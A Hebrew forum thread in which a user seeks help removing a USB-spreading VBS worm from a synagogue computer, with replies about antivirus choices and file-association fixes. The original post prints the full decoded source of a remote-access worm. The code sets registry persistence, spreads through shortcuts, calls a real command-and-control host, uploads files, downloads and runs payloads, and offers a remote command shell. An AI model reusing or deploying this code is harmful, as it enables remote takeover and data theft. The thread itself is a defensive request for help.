דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
46 פוסטים 16 כותבים 618 צפיות 14 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • כ כככככ

    @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

    רנדומלי
    למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
    ואולי אפילו גרסה בתשלום אם זה מתאפשר

    סתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום

    cfopuserC מנותק
    cfopuserC מנותק
    cfopuser
    כתב נערך לאחרונה על ידי cfopuser
    #34

    @כככככ anti virus פרוץ אתה לא רואה את הסתירה פה?

    יש מקורות אמינים לתוכנות פרוצות אבל עדיף להשאר בטוח ביחוד בדברים כאלו.

    תגובה 1 תגובה אחרונה
    1
    • ר רנדומלי

      בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

      cmd /c hrxxryydxo.vbs && start explorer [file name]
      

      הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

      לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

      תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

      לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

      z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
      

      בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
      לאחר פיענוח הקידוד התקבל הקוד הבא:
      אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

      e
      '<[ recoder : houdini (c) skype : houdini-fx ]>
      
      '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      
      host = "khattab.no-ip.biz"
      port = 5550
      installdir = "%temp%"
      lnkfile = true
      lnkfolder = true
      
      '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
      
      dim shellobj 
      set shellobj = wscript.createobject("wscript.shell")
      dim filesystemobj
      set filesystemobj = createobject("scripting.filesystemobject")
      dim httpobj
      set httpobj = createobject("msxml2.xmlhttp")
      
      '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
      
      installname = wscript.scriptname
      startup = shellobj.specialfolders ("startup") & "\"
      installdir = shellobj.expandenvironmentstrings(installdir) & "\"
      if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
      spliter = "<" & "|" & ">"
      sleep = 5000 
      dim response
      dim cmd
      dim param
      info = ""
      usbspreading = ""
      startdate = ""
      dim oneonce
      
      '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
      on error resume next
      
      instance
      while true
      
      install
      
      response = ""
      response = post ("is-ready","")
      cmd = split (response,spliter)
      select case cmd (0)
      case "excecute"
            param = cmd (1)
            execute param
      case "update"
            param = cmd (1)
            oneonce.close
            set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
            oneonce.write param
            oneonce.close
            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
            wscript.quit 
      case "uninstall"
            uninstall
      case "send"
            download cmd (1),cmd (2)
      case "site-send"
            sitedownloader cmd (1),cmd (2)
      case "recv"
            param = cmd (1)
            upload (param)
      case  "enum-driver"
            post "is-enum-driver",enumdriver  
      case  "enum-faf"
            param = cmd (1)
            post "is-enum-faf",enumfaf (param)
      case  "enum-process"
            post "is-enum-process",enumprocess   
      case  "cmd-shell"
            param = cmd (1)
            post "is-cmd-shell",cmdshell (param)  
      case  "delete"
            param = cmd (1)
            deletefaf (param) 
      case  "exit-process"
            param = cmd (1)
            exitprocess (param) 
      case  "sleep"
            param = cmd (1)
            sleep = eval (param)        
      end select
      
      wscript.sleep sleep
      
      wend
      
      sub install
      on error resume next
      dim lnkobj
      dim filename
      dim foldername
      dim fileicon
      dim foldericon
      
      upstart
      for each drive in filesystemobj.drives
      
      if  drive.isready = true then
      if  drive.freespace  > 0 then
      if  drive.drivetype  = 1 then
          filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
          if  filesystemobj.fileexists (drive.path & "\" & installname)  then
              filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
          end if
          for each file in filesystemobj.getfolder( drive.path & "\" ).Files
              if not lnkfile then exit for
              if  instr (file.name,".") then
                  if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                      file.attributes = 2+4
                      if  ucase (file.name) <> ucase (installname) then
                          filename = split(file.name,".")
                          set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                          lnkobj.windowstyle = 7
                          lnkobj.targetpath = "cmd.exe"
                          lnkobj.workingdirectory = ""
                          lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                          fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                          if  instr (fileicon,",") = 0 then
                              lnkobj.iconlocation = file.path
                          else 
                              lnkobj.iconlocation = fileicon
                          end if
                          lnkobj.save()
                      end if
                  end if
              end if
          next
          for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
              if not lnkfolder then exit for
              folder.attributes = 2+4
              foldername = folder.name
              set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
              lnkobj.windowstyle = 7
              lnkobj.targetpath = "cmd.exe"
              lnkobj.workingdirectory = ""
              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
              foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
              if  instr (foldericon,",") = 0 then
                  lnkobj.iconlocation = folder.path
              else 
                  lnkobj.iconlocation = foldericon
              end if
              lnkobj.save()
          next
      end If
      end If
      end if
      next
      err.clear
      end sub
      
      sub uninstall
      on error resume next
      dim filename
      dim foldername
      
      shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
      shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
      filesystemobj.deletefile startup & installname ,true
      filesystemobj.deletefile wscript.scriptfullname ,true
      
      for  each drive in filesystemobj.drives
      if  drive.isready = true then
      if  drive.freespace  > 0 then
      if  drive.drivetype  = 1 then
          for  each file in filesystemobj.getfolder ( drive.path & "\").files
               on error resume next
               if  instr (file.name,".") then
                   if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                       file.attributes = 0
                       if  ucase (file.name) <> ucase (installname) then
                           filename = split(file.name,".")
                           filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                       else
                           filesystemobj.deletefile (drive.path & "\" & file.name)
                       end If
                   else
                       filesystemobj.deletefile (file.path) 
                   end if
               end if
           next
           for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
               folder.attributes = 0
           next
      end if
      end if
      end if
      next
      wscript.quit
      end sub
      
      function post (cmd ,param)
      
      post = param
      httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
      httpobj.setrequestheader "user-agent:",information
      httpobj.send param
      post = httpobj.responsetext
      end function
      
      function information
      on error resume next
      if  inf = "" then
          inf = hwid & spliter 
          inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
          inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
      
          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
          set os = root.execquery ("select * from win32_operatingsystem")
          for each osinfo in os
             inf = inf & osinfo.caption & spliter  
             exit for
          next
          inf = inf & "plus" & spliter
          inf = inf & security & spliter
          inf = inf & usbspreading
          information = inf  
      else
          information = inf
      end if
      end function
      
      sub upstart ()
      on error resume Next
      
      shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
      filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
      filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
      
      end sub
      
      function hwid
      on error resume next
      
      set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
      set disks = root.execquery ("select * from win32_logicaldisk")
      for each disk in disks
          if  disk.volumeserialnumber <> "" then
              hwid = disk.volumeserialnumber
              exit for
          end if
      next
      end function
      
      function security 
      on error resume next
      
      security = ""
      
      set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
      set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
      for each objitem in colitems
          versionstr = split (objitem.version,".")
      next
      versionstr = split (colitems.version,".")
      osversion = versionstr (0) & "."
      for  x = 1 to ubound (versionstr)
           osversion = osversion &  versionstr (i)
      next
      osversion = eval (osversion)
      if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
      
      set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
      Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
      
      for each objantivirus in colantivirus
          security  = security  & objantivirus.displayname & " ."
      next
      if security  = "" then security  = "nan-av"
      end function
      
      function instance
      on error resume next
      
      usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
      if usbspreading = "" then
         if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
            usbspreading = "true - " & date
            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
         else
            usbspreading = "false - " & date
            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
      
         end if
      end If
      
      
      upstart
      set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
      set installfullnameshort =  filesystemobj.getfile (installdir & installname)
      if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
          wscript.quit 
      end If
      err.clear
      set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
      if  err.number > 0 then wscript.quit
      end function
      
      sub sitedownloader (fileurl,filename)
      
      strlink = fileurl
      strsaveto = installdir & filename
      set objhttpdownload = createobject("msxml2.xmlhttp" )
      objhttpdownload.open "get", strlink, false
      objhttpdownload.send
      
      set objfsodownload = createobject ("scripting.filesystemobject")
      if  objfsodownload.fileexists (strsaveto) then
          objfsodownload.deletefile (strsaveto)
      end if
       
      if objhttpdownload.status = 200 then
         dim  objstreamdownload
         set  objstreamdownload = createobject("adodb.stream")
         with objstreamdownload
              .type = 1 
              .open
              .write objhttpdownload.responsebody
              .savetofile strsaveto
              .close
         end with
         set objstreamdownload = nothing
      end if
      if objfsodownload.fileexists(strsaveto) then
         shellobj.run objfsodownload.getfile (strsaveto).shortpath
      end if 
      end sub
      
      sub download (fileurl,filedir)
      
      if filedir = "" then 
         filedir = installdir
      end if
      
      strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
      set objhttpdownload = createobject("msxml2.xmlhttp")
      objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
      objhttpdownload.send ""
           
      set objfsodownload = createobject ("scripting.filesystemobject")
      if  objfsodownload.fileexists (strsaveto) then
          objfsodownload.deletefile (strsaveto)
      end if
      if  objhttpdownload.status = 200 then
          dim  objstreamdownload
          set  objstreamdownload = createobject("adodb.stream")
          with objstreamdownload 
               .type = 1 
               .open
               .write objhttpdownload.responsebody
               .savetofile strsaveto
               .close
          end with
          set objstreamdownload  = nothing
      end if
      if objfsodownload.fileexists(strsaveto) then
         shellobj.run objfsodownload.getfile (strsaveto).shortpath
      end if 
      end sub
      
      function upload (fileurl)
      
      dim  httpobj,objstreamuploade,buffer
      set  objstreamuploade = createobject("adodb.stream")
      with objstreamuploade 
           .type = 1 
           .open
           .loadfromfile fileurl
           buffer = .read
           .close
      end with
      set objstreamdownload = nothing
      set httpobj = createobject("msxml2.xmlhttp")
      httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
      httpobj.send buffer
      end function
      
      function enumdriver ()
      
      for  each drive in filesystemobj.drives
      if   drive.isready = true then
           enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
      end if
      next
      end Function
      
      function enumfaf (enumdir)
      
      enumfaf = enumdir & spliter
      for  each folder in filesystemobj.getfolder (enumdir).subfolders
           enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
      next
      
      for  each file in filesystemobj.getfolder (enumdir).files
           enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
      
      next
      end function
      
      function enumprocess ()
      
      on error resume next
      
      set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
      set colitems = objwmiservice.execquery("select * from win32_process",,48)
      
      dim objitem
      for each objitem in colitems
          enumprocess = enumprocess & objitem.name & "|"
          enumprocess = enumprocess & objitem.processid & "|"
          enumprocess = enumprocess & objitem.executablepath & spliter
      next
      end function
      
      sub exitprocess (pid)
      on error resume next
      
      shellobj.run "taskkill /F /T /PID " & pid,7,true
      end sub
      
      sub deletefaf (url)
      on error resume next
      
      filesystemobj.deletefile url
      filesystemobj.deletefolder url
      
      end sub
      
      function cmdshell (cmd)
      
      dim httpobj,oexec,readallfromany
      
      set oexec = shellobj.exec ("%comspec% /c " & cmd)
      if not oexec.stdout.atendofstream then
         readallfromany = oexec.stdout.readall
      elseif not oexec.stderr.atendofstream then
         readallfromany = oexec.stderr.readall
      else 
         readallfromany = ""
      end if
      
      cmdshell = readallfromany
      end function
      
      ה מנותק
      ה מנותק
      היפ הופ
      כתב נערך לאחרונה על ידי
      #35

      @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

      גם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

      אם זה עדיין רלוונטי אני יכול לדאוג לך לכל מיני בינות....

      תגובה 1 תגובה אחרונה
      0
      • א אור אור אור

        פוסט זה נמחק!

        המלאךה מנותק
        המלאךה מנותק
        המלאך
        כתב נערך לאחרונה על ידי המלאך
        #36

        @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

        אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
        בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

        צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

        לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

        בחר ב-"פנקס רשימות" (Notepad).

        חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

        לחץ על אישור.

        התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

        @cfopuser הדרך הזו לא מסוכנת?
        כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
        או שיריץ דרך הפאואר שיל, הcmd?

        cfopuserC תגובה 1 תגובה אחרונה
        0
        • המלאךה המלאך

          @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

          אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
          בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

          צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

          לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

          בחר ב-"פנקס רשימות" (Notepad).

          חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

          לחץ על אישור.

          התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

          @cfopuser הדרך הזו לא מסוכנת?
          כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
          או שיריץ דרך הפאואר שיל, הcmd?

          cfopuserC מנותק
          cfopuserC מנותק
          cfopuser
          כתב נערך לאחרונה על ידי
          #37

          @המלאך ai...
          לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

          המלאךה מתכנת חובבמ 2 תגובות תגובה אחרונה
          0
          • cfopuserC cfopuser

            @המלאך ai...
            לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

            המלאךה מנותק
            המלאךה מנותק
            המלאך
            כתב נערך לאחרונה על ידי
            #38

            @cfopuser 1000204791.jpg

            תגובה 1 תגובה אחרונה
            0
            • A AMDesign

              @תלמידהון
              למען האמת שאין לי מושג באמת (משתמש במק שלא מצוי כ״כ וירוסים אז אין לי אנטי וירוס) אבל כך ידוע שאיסט הכי טוב.
              דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

              מתכנת חובבמ מנותק
              מתכנת חובבמ מנותק
              מתכנת חובב
              מדריכים
              כתב נערך לאחרונה על ידי
              #39

              @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

              דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

              דיפנדר מעולה
              אולי בעבר הדי רחוק היה לו שם רע
              כיום כמעט כל האנטי וירוסים הרציניים מקבלים ציונים גבוהים במבחנים ואין כמעט עדיפות של אחד על האחר אצל המשתמש הביתי מעבר לשיקולי מחיר ופיצ'רים

              צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

              A תגובה 1 תגובה אחרונה
              4
              • מתכנת חובבמ מתכנת חובב

                @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

                דיפנדר מעולה
                אולי בעבר הדי רחוק היה לו שם רע
                כיום כמעט כל האנטי וירוסים הרציניים מקבלים ציונים גבוהים במבחנים ואין כמעט עדיפות של אחד על האחר אצל המשתמש הביתי מעבר לשיקולי מחיר ופיצ'רים

                A מנותק
                A מנותק
                AMDesign
                כתב נערך לאחרונה על ידי
                #40

                @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                כיום כמעט כל האנטי וירוסים הרציניים

                ואלו הם?

                מתכנת חובבמ תגובה 1 תגובה אחרונה
                0
                • cfopuserC cfopuser

                  @המלאך ai...
                  לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

                  מתכנת חובבמ מנותק
                  מתכנת חובבמ מנותק
                  מתכנת חובב
                  מדריכים
                  כתב נערך לאחרונה על ידי
                  #41

                  @cfopuser כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                  לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

                  אין עניין לציין מה שאי אפשר \ לא כדאי לחסום
                  כלומר אם הוא יכול להתקין ולעדכן באופן שוטף אנטי וירוס - מעולה ואם לא - לא חושב שכדאי לו לחסום כל מה שזז כי אז הוא עלול להיתקל בהרבה בעיות אחרות
                  לדעתי חסימה של VBS והרצה של תיקון הכללי יספיקו לרוב ככל הוירוסים שמעבירים את עצמם דרך התקנים ניידים

                  צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                  תגובה 1 תגובה אחרונה
                  0
                  • A AMDesign

                    @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                    כיום כמעט כל האנטי וירוסים הרציניים

                    ואלו הם?

                    מתכנת חובבמ מנותק
                    מתכנת חובבמ מנותק
                    מתכנת חובב
                    מדריכים
                    כתב נערך לאחרונה על ידי מתכנת חובב
                    #42

                    @AMDesign הרציניים = רשימה ארוכה של הרבה מאוד אנטי וירוסים מוכרים שאינם אלו שידועים לשמצה

                    צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                    תגובה 1 תגובה אחרונה
                    2
                    • ר מנותק
                      ר מנותק
                      רנדומלי
                      כתב נערך לאחרונה על ידי
                      #43

                      תודה לכל המסייעים. מסתבר שמישהו מ"המנהלים" שיש לו גישה למחשב השבית אנטיוירוס על מנת להדפיס איזה קובץ מהאונקי שלו...

                      ביצעתי את ההצעות הרלוונטיות, כרגע למחשב שלום. מקווה שכך יהיה גם בעתיד. הנחיות אבטחת המידע חודדו והובנו.

                      A תגובה 1 תגובה אחרונה
                      1
                      • ר רנדומלי

                        תודה לכל המסייעים. מסתבר שמישהו מ"המנהלים" שיש לו גישה למחשב השבית אנטיוירוס על מנת להדפיס איזה קובץ מהאונקי שלו...

                        ביצעתי את ההצעות הרלוונטיות, כרגע למחשב שלום. מקווה שכך יהיה גם בעתיד. הנחיות אבטחת המידע חודדו והובנו.

                        A מנותק
                        A מנותק
                        ARISH
                        כתב נערך לאחרונה על ידי
                        #44

                        @רנדומלי אשמח לדעת באיזה מהתיקונים שהובאו השתמשת על מנת לדעת מה היעיל מבינהם או למישהו אחר שיעשה סדר בכל הדברים שהועלו כאן על מנת שנוכל לצאת עם דבר ברור מה באמת יעיל.

                        תגובה 1 תגובה אחרונה
                        0
                        • ר רנדומלי

                          בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                          cmd /c hrxxryydxo.vbs && start explorer [file name]
                          

                          הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                          לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                          תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                          לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                          z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                          

                          בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                          לאחר פיענוח הקידוד התקבל הקוד הבא:
                          אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                          e
                          '<[ recoder : houdini (c) skype : houdini-fx ]>
                          
                          '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                          
                          host = "khattab.no-ip.biz"
                          port = 5550
                          installdir = "%temp%"
                          lnkfile = true
                          lnkfolder = true
                          
                          '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                          
                          dim shellobj 
                          set shellobj = wscript.createobject("wscript.shell")
                          dim filesystemobj
                          set filesystemobj = createobject("scripting.filesystemobject")
                          dim httpobj
                          set httpobj = createobject("msxml2.xmlhttp")
                          
                          '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                          
                          installname = wscript.scriptname
                          startup = shellobj.specialfolders ("startup") & "\"
                          installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                          if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                          spliter = "<" & "|" & ">"
                          sleep = 5000 
                          dim response
                          dim cmd
                          dim param
                          info = ""
                          usbspreading = ""
                          startdate = ""
                          dim oneonce
                          
                          '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                          on error resume next
                          
                          instance
                          while true
                          
                          install
                          
                          response = ""
                          response = post ("is-ready","")
                          cmd = split (response,spliter)
                          select case cmd (0)
                          case "excecute"
                                param = cmd (1)
                                execute param
                          case "update"
                                param = cmd (1)
                                oneonce.close
                                set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                oneonce.write param
                                oneonce.close
                                shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                wscript.quit 
                          case "uninstall"
                                uninstall
                          case "send"
                                download cmd (1),cmd (2)
